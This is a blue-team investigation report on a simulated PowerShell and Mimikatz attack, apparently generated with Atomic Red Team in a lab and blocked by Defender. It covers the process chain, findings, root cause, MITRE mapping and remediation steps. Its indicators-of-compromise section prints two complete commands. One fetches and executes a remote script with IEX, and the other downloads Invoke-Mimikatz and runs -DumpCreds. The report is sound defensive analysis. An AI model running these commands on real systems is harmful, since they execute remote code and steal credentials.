# 

# Investigation report — Suspicious PowerShell / Mimikatz

**Analyst**: Sceptre

**Date:** 27 October 2025

**Time zone:** London (GMT, UTC+00:00)

## Investigation summary — what happened?

Defender for Endpoint detected and blocked suspicious PowerShell activity. The sequence was an interactive RDP session for AzureAD\JennySmith which spawned cmd.exe that launched powershell.exe to download and attempt to execute remote scripts (IEX + DownloadString). Defender prevented payloads including an attempted Mimikatz execution so no credential dumping was completed.

## Stakeholder impact — who was involved?

**User** : AzureAD\JennySmith

## Findings — what did I find?

- Alerts generated and blocked by Defender:  
 - Suspicious PowerShell command line with IEX and DownloadString.  
 - Suspicious process executed PowerShell command (cmd.exe → powershell.exe).  
 - Blocked Mimikatz attempt labelled Trojan:PowerShell/Mimikatz.A (remediation: remove, status: resolved).  
- Process chain and timestamps show the interactive session root: userinit.exe > explorer.exe > cmd.exe (pid 8540) > powershell.exe (pid 12236).  
- Advanced Hunting confirmed the download and execute pattern at 27 Oct 2025 16:05 GMT but returned no Invoke Mimikatz entries.  
- Spread and persistence checks returned no other affected devices and no scheduled tasks or registry Run keys created.

## Immediate actions — when did this occur and is it still happening?

**Initial detection:** 27 Oct 2025 16:05 GMT.  
**Status:** No ongoing execution observed.

## Affected systems and data — where in the environment did this happen?

**Host:** Jenny (Windows 11 VM), AzureAD\JennySmith session via RDP from 192.168.1.72.

## Indicators of compromise (IoCs)

Powershell commands:

powershell.exe -exec bypass -noprofile "$comMsXml=New-Object -ComObject MsXml2.ServerXmlHttp;$comMsXml.Open('GET','https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.001/src/test.ps1',$False);$comMsXml.Send();IEX $comMsXml.ResponseText"  
  
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/.../Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds

## Root cause — why did this happen?

The immediate root cause was execution of a PowerShell download and execute command within an interactive user session. PowerShell with IEX and DownloadString is commonly abused to run remote code. In this case the activity was generated intentionally by Atomic Red Team for testing, but the pattern is identical to real adversary behaviour.

## Nature of the attack — how did this happen?

This is an execution stage activity (MITRE T1059.001). The attacker used cmd.exe to call PowerShell which fetched remote scripts and attempted to execute them in memory via IEX. The follow up stage attempted credential theft using a Mimikatz script. Defender detected suspicious command syntax and blocked the payloads before credential theft could occur.

## Recommended containment and remediation (if this were real)

1. Isolate the host from the network.  
2. Collect forensic artifacts: memory and disk images, Defender exports, ReportId and process IDs.  
3. Rotate passwords for accounts used on the host.  
4. Run environment wide hunts for IEX and DownloadString patterns.  
5. Deploy Sysmon for deeper telemetry.  
6. Onboard more endpoints to practise spread detection.

## Conclusion

This was a valuable learning exercise. Defender did its job and blocked what would have been a credential theft attempt. The key takeaway is to look out for PowerShell being used by non-IT users.